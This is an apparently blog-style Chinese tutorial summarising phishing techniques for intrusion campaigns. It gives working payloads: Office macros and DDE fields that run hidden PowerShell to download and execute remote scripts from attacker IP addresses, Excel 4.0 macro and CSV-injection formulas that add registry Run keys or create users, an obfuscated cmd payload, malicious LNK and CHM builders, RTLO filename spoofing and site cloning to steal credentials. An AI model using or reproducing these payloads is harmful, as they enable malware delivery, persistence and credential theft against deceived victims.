釣魚攻擊手法小結(一)
前言
在所有的APT攻擊中,社工釣魚這種攻擊手法是肯定不會缺席的,可能是打點突破,可能是內網擴散,那么對于學習社工釣魚所用到的惡意文件的制作就非常有必要。
惡意文件制作基礎手法
office-word
Word宏釣魚
image.png
image.png
image.png
AutoExec:啟動 Word 或加載全局模板時
AutoNew:每次新建文檔時
AutoOpen:每次打開已有文檔時
AutoClose:每次關閉文檔時
AutoExit:退出 Word 或卸載全局模板時
AutoClose比較好
Word模板文件注入宏指令
利用 Word 文檔加載附加模板時的缺陷所發起的惡意請求,而達到的攻擊目的,所以當目標用戶點開攻擊者發送的惡意 Word 文檔就可以通過向遠程服務器發送惡意請求的方式,然后加載模板執行惡意模板的宏。
- 先挑個模板創建一個正常的docx文件
image.png
image.png
- 然后弄個帶宏的模板文件dotm
宏設置為AutoClose比較好
- 然后修改Setting.xml.rels內的target為dotm文件的路徑
image.png
最關鍵的是此處支持smb和http協議,也就是后面的惡意dotm文件可以放在自己的服務器上!
Target="http://www.baidu.com/hong.dotm"
Word DDE釣魚文檔
DDE,動態數據交換。
創建一個文檔 dde.docx , 之后雙擊打開 dde.docx, 直接 Ctrl + f9 快捷鍵便可以快速幫助創建一個域,我們則只需要在花括號中添加如下指令 (彈出一個計算器), 實戰過程中可以遠程加載我們的木馬。
DDEAUTOc:\\windows\\system32\\cmd.exe"\/k calc.exe"
image.png
image.png
DDEAUTO"C:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.2.148:8000/beacon.ps1'); # ""Microsoft Document Security Add-On"
word OLE 外部對象注入
image.png
image.png
image.png
image.png
office-Excel
Excel宏釣魚
image.png
Sub Auto_Open()
Execute
End Sub
Public Function Execute() As Variant
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
objProcess.Create "powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.5.223/E.ps1'));", Null, objConfig, intProcessID
End Function
XLM / Macro 4.0 宏釣魚
測試版本:office 21013
image.png
image.png
image.png
第一個單元格的命名須為:Auto_Open,然后把工作表設置為隱藏就可以了。
=EXEC("c:\windows\system32\cmd.exe")
=HALT()
實戰可采用:
image.png
=EXEC("mshta http://192.168.5.223:80/evil.hta")
=HALT()
image.png
image.png
image.png
注意:別使用編碼形式的,如:powershell -ep bypass -ec SQBFAFgAKABOAG
csv注入
csv注入是一種將包含惡意命令的excel公式插入到可以導出csv或xls等格式的文本中,當在excel中打開csv文件時,文件會轉換為excel格式并提供excel公式的執行功能,會造成命令執行問題。
漏洞原理
Excel的一個特性,當單元格中內容以=-+@等符號開頭時,excel將會將其當成一個公式處理。
所以當我們輸入=1+1時,excel會自動將其計算
那么利用這個辦法,把等號后面的內容改為執行cmd命令控制其打開一個計算器
=1+cmd|' /C calc'!A0
修改注冊表
=cmd|'/C reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v calc /t REG_SZ /d c:\windows\system32\calc.exe /f'!A0
添加用戶名
=cmd|'/C net user test 123456 /add'!A0+
很多場景下服務器會過濾=,但是在excel中,+,-,@等也可以觸發公式
-cmd|' /C calc'!A0 +cmd|' /C calc'!A0 @SUM(cmd|'/c calc'!A0)
%0A繞過自動添加單引號
%0A-1+cmd|' /C calc'!A0
;繞過自動添加單引號
;-1+cmd|' /C calc'!A0
image.png
在開源的openoffice中可以直接只有DDE函數,像=DDE(“cmd”;”/C calc”;”123”)這樣調用。
而在正規的office套件中則移除了DDE函數,但是我們還是可以使用application|topic!item這一格式的三元表達式調用DDE。注意:該方法的提示窗口只提示application而不提示topic。
1、當excel遇到+和-會自動填充=成為公式,如
+thespnquisition(cmd|'/c calc.exe'!A
2、若打開的外部應用為8字符,excel自動忽略后面的字符,如下面的兩個作用相同:
=rundll32|'URL.dll,OpenURL calc.exe'!A =rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
3、將其他表達式或空格填充在惡意表達式之前
=AA+BB-CC&"Hello"/12345&cmd|'/c calc.exe'!A
4、通過windows batch的語法特性,填充無意義或是不影響執行邏輯的字符和指令,將topic字段混淆,如文章開始處的payload:
=cmd|'/c REM.&&@p^o^w^e^r^s^h^e^l^l c:/*/*2/?al?.?x?"'!_xlbgnm.A1
/c是cmd參數,表示執行后關閉窗口
REM表示后面的內容是注釋
.表示空行,用于終止之前的REM
&&表示如果前一條指令執行成功則執行后一條指令
@ 表示執行窗口不顯示后面的命令
^表示轉義,此處無實際意義,只是用來混淆powershell這一敏感詞
?表示powershell通配符,其中匹配任意字符串,?匹配1個字符,此處能唯一定位到c:/windows/system32/calc.exe
“無實際用途,刪了也沒啥區別
所以經過解析后,實際執行的命令是:
cmd.exe /c powershell c:/windows/system32/calc.exe
當然,也可以使用字符串拼接的特性,將命令變為下面這樣:
=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c REM.&&@p^o^w^e^r^s^h^e^l^l c:/*/*2/?al?.?x?"'!_xlbgnm.A1
image.png
msf也集成了這種攻擊方法:
image.png
IQY特性
利用這個特性,可以把實際的payload放在自己的云端。
image.png
payload.html就是放在我們的vps的,到時候想更新payload,就更新vps的payload.html即可。
EXE釣魚
直接把惡意木馬換個名字發到目標去,可以把文件名設置的長一點,并且加上空格,這樣就沒那么容易看到后綴名了。
HTA文件釣魚
HTA是HTML Application的縮寫,直接將HTML保存成HTA的格式,是一個獨立的應用軟件。
HTA雖然用HTML、JS和CSS編寫,卻比普通網頁權限大得多,它具有桌面程序的所有權限。
就是一個html應用程序,雙擊就能運行。
Cobalt Strike,attacks——>packages——>HTML application
image.png
選擇powershell然后單機generate,選擇保存路徑。將生成的.hta文件發送給別人,點擊后獲得shell。
LNK快捷方式釣魚
$file = Get-Content "test.txt"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("C:\Users\dark5\desktop\test.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"
$Shortcut.Arguments = ''+ $file
$Shortcut.Save()
test.txt的內容為:
cmd.exe /c powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.5.163:80/a'))"
image.png
RTLO字符翻轉
RLO,即 Right-to-Left Override,我們可以在?件名中插?此類 unicode 字符,來達到?件名反轉的效果。
以 cmd.exe 來舉例,
將其重命名為 cmdgpj.exe, 然后在 cmd 與 g 之間右鍵,看圖操作
image.png
image.png
其中,改名后的exe字符不能去掉,否則就不是以應用程序啟動了。
Rar解壓自運行
先給惡意程序改名,比如改成adobe_Reader.exe,可以同時跟多個程序一起制作自解壓程序,比如可以跟flash安裝程序,或者是doc文件,這樣自解壓程序被啟動的時候就會啟動flash安裝程序,達到迷惑被害人的目的。
image.png
image.png
image.png
image.png
image.png
image.png
image.png
到此就全部完成:
image.png
然后可以做RLO反轉,修改圖標。
power query DDE
參考:https://xz.aliyun.com/t/5514
https://lengjibo.github.io/execl/
其他參考:利用Excel power query實現遠程DDE執行【未仔細看】
PPT 動作按鈕特性構造 PPSX 釣魚
image.png
盡量拉滿整個PPT頁,然后設置動作

那么在放映的時候鼠標經過,就會運行,


嵌入js元素
這個說實話需要一點js功底。。
這個方式的原理是,如果我們往word中插入聯機視頻,那么再word的壓縮包 word/document.xml里的embeddedHtml項中會出現聯機視頻對應的內嵌html代碼,我們可以通過修改這些代碼,插入惡意js代碼。
一般的利用方式是通過js下載惡意文件,但是似乎是因為word的一些保護機制,不能實現頁面跳轉或者自動點擊下載等操作(打開word文件會報錯),好迷
我看了一個POC,里面是通過構造二進制數據交給BLOB對象處理,并自動點擊由BLOB對象生成的url實現下載二進制數據,而這些二進制數據實質上是惡意文件。
因為我搞不來那個二進制數據怎么產生,所以這個方法暫時只做了解吧。。
而且我看的那個文章的POC在我的word2016里不能正常工作,不知道是什么原因
reference:https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-replacing-embedded-video-with-bogus-payload
CHM電子書植入后門
新建html文件,編碼格式ANSI,寫入代碼
<html><head><title>Mousejack replaytitle><head>head><body> command exec <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1> <PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',cmd.exe,/c calc.exe'> //這一排用于執行命令,注意cmd.exe前后都有,或者<PARAM name="Item1" value=',powershell.exe,-c calc.exe'>也行 <PARAM name="Item2" value="273,1,1"> OBJECT> <SCRIPT> x.Click(); SCRIPT> body>html>
使用easychm軟件,新建-瀏覽-選擇html文件所在目錄-選擇html文件-編譯

反編譯chm文件:hh.exe -decompile d:\Readme\ D:\Readme.chm
站點克隆
就是克隆某個站點的內容。
意欲何為?
假設目標時常會登錄一個站點,我們想獲取的他登錄這個站點的憑證,就可以克隆該站點,然后以網站官方發郵箱跟他說,你的密碼存在存在風險,請修改,再給出一個鏈接,當然域名要偽造的像一點,它打開就是我們偽造的站點了,跟它平常登錄的一模一樣。
CobaltStrike - Clone Site


但是不能克隆https的……
小飛兔下載

其實我覺得就是把POST的地址改成真正的就可以了,當然也要記錄好憑證。
重定向釣魚
使用相關漏洞釣魚